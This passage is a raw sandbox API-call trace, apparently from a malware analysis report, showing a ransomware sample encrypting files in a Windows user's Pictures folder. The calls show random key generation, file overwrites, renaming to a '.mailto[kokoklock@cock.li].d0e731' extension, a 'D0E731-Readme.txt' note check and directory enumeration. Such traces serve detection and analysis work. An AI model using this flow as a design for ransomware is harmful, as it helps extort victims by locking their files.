lpOverlapped=0x0) returned 1 [0069.021] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.021] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0069.021] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0069.021] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f10 [0069.021] NtQuerySystemTime (in: CurrentTime=0x1113fc04 | out: CurrentTime=0x1113fc04*=132121176269160814) returned 0x0 [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xef0c50a1 [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x579b6226 [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xa6dca19d [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x99cffc8b [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x31ac67df [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x6236b1ee [0069.021] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xb40b902a [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xae02ed2d [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x9d95d221 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x6166b43f [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xd910f0d4 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xbf60fa1d [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x1efc546a [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x3f678c39 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x988fcf00 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xc6b79f0e [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x8e07801a [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x9c646971 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xdd6b706f [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x8d8db9a4 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xa2604f22 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x6ff3cba9 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x6e369a5a [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x72cdf64c [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xc5212b06 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xb4322934 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x373f55a0 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x8416f7ec [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xbaa91edd [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x54a01118 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0xa655dcd6 [0069.022] RtlRandom (in: Seed=0x1113fc10 | out: Seed=0x1113fc10) returned 0x6175ffa3 [0069.033] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.033] ReadFile (in: hFile=0x758, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1113fbdc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1113fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0069.034] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0069.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0069.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0069.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0069.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0069.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0069.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1113fbdc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1113fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0069.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.035] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x1491d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1113fc14, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0x1113fc14*=0x20, lpOverlapped=0x0) returned 1 [0069.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0069.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0x1113fc28*=0x8, lpOverlapped=0x0) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x1113fc40*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x1113fc40*, lpNumberOfBytesWritten=0x1113fc28*=0x4, lpOverlapped=0x0) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1113fc28*=0x4, lpOverlapped=0x0) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1113fc28*=0x6c, lpOverlapped=0x0) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0x1113fc28*=0x20, lpOverlapped=0x0) returned 1 [0069.035] WriteFile (in: hFile=0x758, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1113fc28*=0x4, lpOverlapped=0x0) returned 1 [0069.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0069.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0069.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0069.036] CloseHandle (hObject=0x758) returned 1 [0069.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaff0 [0069.038] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif") returned="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif" [0069.038] wcscat (in: _Dest=0x33eaff0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" [0069.038] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.039] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0069.039] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif", dwFileAttributes=0x20) returned 0 [0069.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fdc0 [0069.039] wcscpy (in: _Dest=0x347fdc0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0069.039] wcscat (in: _Dest=0x347fdc0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0069.039] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0069.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdc0) returned 1 [0069.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481df8) returned 1 [0069.039] RtlExitUserThread (Status=0x1) Thread: id = 392 os_tid = 0xc04 [0069.040] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png")) returned 0x20 [0069.040] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png", dwFileAttributes=0x20) returned 1 [0069.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0069.041] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x111bf8e0 | out: lpFileSize=0x111bf8e0*=90146) returned 1 [0069.041] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x1601e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.041] ReadFile (in: hFile=0x758, lpBuffer=0x111bf8b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x111bf8b4*, lpNumberOfBytesRead=0x111bf8b0*=0x4, lpOverlapped=0x0) returned 1 [0069.041] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0069.041] NtQuerySystemTime (in: CurrentTime=0x111bf88c | out: CurrentTime=0x111bf88c*=132121176269316503) returned 0x0 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x32b4ad52 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xa5898544 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xd45cb6c9 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x9b494f5 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x4d8f959e [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x41751bfd [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x37ba4d33 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x2ba90ff5 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xff50103a [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xe41de98 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xe814ca9d [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xd0d78ca7 [0069.041] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xc1236685 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x7a9917ed [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xe474235a [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xee02d5da [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xba0e2a2a [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xdd584cef [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x3655ce89 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x87c19cb8 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xa3bc2cf1 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xc5e03a98 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x1e887356 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xd789ad9e [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xad5c68e5 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xf791fb94 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x335b6968 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x7cfb00b [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x41e6bcd7 [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x68b13f1d [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0xa7beadaa [0069.042] RtlRandom (in: Seed=0x111bf898 | out: Seed=0x111bf898) returned 0x9f22797e [0069.053] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.053] ReadFile (in: hFile=0x758, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x111bf864, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x111bf864*=0x4096, lpOverlapped=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0069.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0069.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0069.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0069.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0069.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0069.054] WriteFile (in: hFile=0x758, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x111bf864, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x111bf864*=0x4096, lpOverlapped=0x0) returned 1 [0069.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x16022, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x111bf89c, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x111bf89c*=0x20, lpOverlapped=0x0) returned 1 [0069.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0x111bf8b0*=0x8, lpOverlapped=0x0) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x111bf8c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x111bf8c8*, lpNumberOfBytesWritten=0x111bf8b0*=0x4, lpOverlapped=0x0) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x111bf8b0*=0x4, lpOverlapped=0x0) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x111bf8b0*=0x6c, lpOverlapped=0x0) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0x111bf8b0*=0x20, lpOverlapped=0x0) returned 1 [0069.055] WriteFile (in: hFile=0x758, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x111bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x111bf8b0*=0x4, lpOverlapped=0x0) returned 1 [0069.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0069.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0069.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0069.056] CloseHandle (hObject=0x758) returned 1 [0069.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x3424900 [0069.060] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png") returned="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png" [0069.060] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" [0069.060] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.060] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0069.060] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png", dwFileAttributes=0x20) returned 0 [0069.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3480420 [0069.061] wcscpy (in: _Dest=0x3480420, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0069.061] wcscat (in: _Dest=0x3480420, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0069.061] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0069.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480420) returned 1 [0069.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d88) returned 1 [0069.061] RtlExitUserThread (Status=0x1) Thread: id = 393 os_tid = 0x7a8 [0069.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430968 [0069.063] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\Public\\Documents\\My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0069.063] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0069.063] wcscat (in: _Dest=0x3430968, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\*") returned="C:\\Users\\Public\\Documents\\My Music\\*" [0069.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.063] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0069.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0069.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481438) returned 1 [0069.065] RtlExitUserThread (Status=0x0) Thread: id = 394 os_tid = 0xf74 [0069.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430968 [0069.066] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\Public\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0069.066] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0069.066] wcscat (in: _Dest=0x3430968, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*" [0069.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.066] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0069.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0069.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e90) returned 1 [0069.068] RtlExitUserThread (Status=0x0) Thread: id = 395 os_tid = 0xd58 [0069.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430968 [0069.069] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\Public\\Documents\\My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0069.069] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0069.070] wcscat (in: _Dest=0x3430968, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\*") returned="C:\\Users\\Public\\Documents\\My Videos\\*" [0069.070] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.070] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 